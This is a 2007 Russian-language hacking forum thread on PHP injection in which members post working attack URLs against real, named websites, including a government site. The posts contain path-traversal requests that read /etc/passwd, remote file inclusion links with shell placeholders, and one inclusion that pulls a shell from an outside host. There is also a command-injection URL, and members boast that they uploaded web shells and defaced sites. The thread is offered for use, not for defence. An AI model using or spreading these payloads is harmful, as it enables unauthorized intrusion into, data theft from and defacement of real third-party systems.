PHP Иньекции

Discussion in 'Уязвимости' started by Joker-jar, 20 Apr 2007.

  1. abdula321

    abdula321 New Member

    Joined:
    21 Aug 2007
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    ловим свежего мыша:

    safe_mode
     
  2. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    http://www.skip-manager.co.uk/index.php?pg=../../../../../../../../../../../../../etc/passwd%00

    http://www.tutorialisland.co.uk/index.php?pg=../../../../../../../../../../../../../../../../etc/passwd%00


    http://halvdagar.mystictales.de/index.php?pg=../../../../../../../../../../../../etc/passwd
     
  3. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    Remote file inclusions

    1. mebeli.firstcolor.net
    Code:
    http://mebeli.firstcolor.net/?pg=[shell] (.htm)
    
    2. www.mutuicarichieti.net
    Code:
    http://www.mutuicarichieti.net/open.php?pg=[shell] (.php)
    
     
  4. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    нелюблю я винду....а вот Док почему-то любит))
    удаленный инклюд:
    ну и просто прирезаный серв..отключено практически все(
    Online radio типа =) ничего там песенки..
    канада, блин ...а одни россияне там)
    редко видишь такую параноидальность у немцев...армян куча там тож =\
     
    #384 $n@ke, 1 Sep 2007
    Last edited: 2 Sep 2007
    1 person likes this.
  5. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    582
    Likes Received:
    284
    Reputations:
    51
    osironline.org
     
  6. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    http://sverh-chelovek.ru/forum/index.php?s=&act=profile&CODE=friends_list_popup&ips_check=http://include3.narod.ru/achat.php
    шелл :)
     
    3 people like this.
  7. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    ещё:
    http://antigothic.ru/forum/index.php?s=&act=profile&CODE=friends_list_popup&ips_check=http://include3.narod.ru/achat.php
     
    1 person likes this.
  8. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    Мда. Чернокот жжет. Одного шелла уже нет, а на месте второго арабский деф. Через то они хоть были залиты?
     
  9. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    да вродебы ничего не заливал.. этж удалённый инклуд :)
    говпода, вы идиоты, стоило выложить в паблик, сразу всё засрали)))))))))))))))) (относица к тем кто засрал)
    ===

    ещё:
     
    1 person likes this.
  10. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    2 Alexsize, BlackCats:
    ЛОЛ))) Да ребята вы здесь обое прям короли инклуда. Хотя бы розобрались в том, о чем пишите. Извините конечно, но поржал от души.
    Разве по урл не видно, что инклуд удаленный?)))
    ето не инклуд, страницы просто фреймяться, советую почитать доки, перед следующими постами в етой теме.
    Если кого то обидел, не стоит обижаться, ведь здоровая критика идет на пользу человеку, он начинает учитсья.
    По теме:
    Code:
    http://www.bauru.ppte.com.br/?pg=[shell]
    
     
  11. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    Кто еще лол из нас. Я про _http://antigothic.ru/forum/index.php?s=&act=profile&CODE=friends_list_popup&ips_check=http://include3.narod.ru/achat.php говорю, а ты мне пхаешь сосвсем другой инклуд. Ты хочешь сказать что в новом ибп есть ремоут инклуд? Не смеши мои подковы. Это или нулленая версия с трояном или залитый через что то шелл. Потому я и уточняю через что, ибо паблик дыр в этом форуме я НЕ ВИДЕЛ.
     
    #391 Alexsize, 5 Sep 2007
    Last edited: 5 Sep 2007
    1 person likes this.
  12. I0gen

    I0gen Elder - Старейшина

    Joined:
    15 Aug 2007
    Messages:
    76
    Likes Received:
    33
    Reputations:
    10
    http://erotip.com/cgi-bin/dat2web.cgi?html=|id|

    Ядро вроде дырявое.

    Залил шеллы туда -
    http://erotip.com/ar/re.php
    http://erotip.com/ar/1.php
     
  13. I0gen

    I0gen Elder - Старейшина

    Joined:
    15 Aug 2007
    Messages:
    76
    Likes Received:
    33
    Reputations:
    10
    http://www.pressanykey.com/cgi-bin/showPage.cgi?page=../../../../../etc/passwd
     
  14. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    нехочу тебя обижать, но это действительно баг в форуме :) просто дыра не паблик :)
     
  15. IIAHbI4

    IIAHbI4 Banned

    Joined:
    24 Aug 2006
    Messages:
    276
    Likes Received:
    331
    Reputations:
    11
    заливаем ремвьюв (хотя я уже это сделал и идём сюда -> /www/sites/erotip.de/, у вашему распоряжению ещё 47- 50 доменов с информацией ;)
     
    2 people like this.
  16. I0gen

    I0gen Elder - Старейшина

    Joined:
    15 Aug 2007
    Messages:
    76
    Likes Received:
    33
    Reputations:
    10
    http://erotip.com/ar/re.php это и был ревью =) )админ или кто уже все там удалил нах..
     
  17. I0gen

    I0gen Elder - Старейшина

    Joined:
    15 Aug 2007
    Messages:
    76
    Likes Received:
    33
    Reputations:
    10
    http://www.der-real.de/phpmytourney/menu.php?functions_file=[remove shell]
     
  18. I0gen

    I0gen Elder - Старейшина

    Joined:
    15 Aug 2007
    Messages:
    76
    Likes Received:
    33
    Reputations:
    10
    http://progames.kerch.net/phpmytourney/menu.php?functions_file=[remove shell]
    Ось винда =))
     
  19. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    http://www.smg.gov.mo/ccaa/MacaoMap.php?inc=../../../../../../../../../../../../../../../etc/passwd local
    http://www.durangotelegraph.com/telegraph.php?inc=../../../../../../../../../../../etc/passwd local
    http://graevling.net/index.php?inc= remote
    http://energoprom.org.ua/rus.php?inc= remote
     
  20. mister

    mister Elder - Старейшина

    Joined:
    24 Jul 2007
    Messages:
    30
    Likes Received:
    16
    Reputations:
    4
    Code:
    http://www.taobao.com/university/onlineplay_detail.php?inc=../../../../../../../../etc/passwd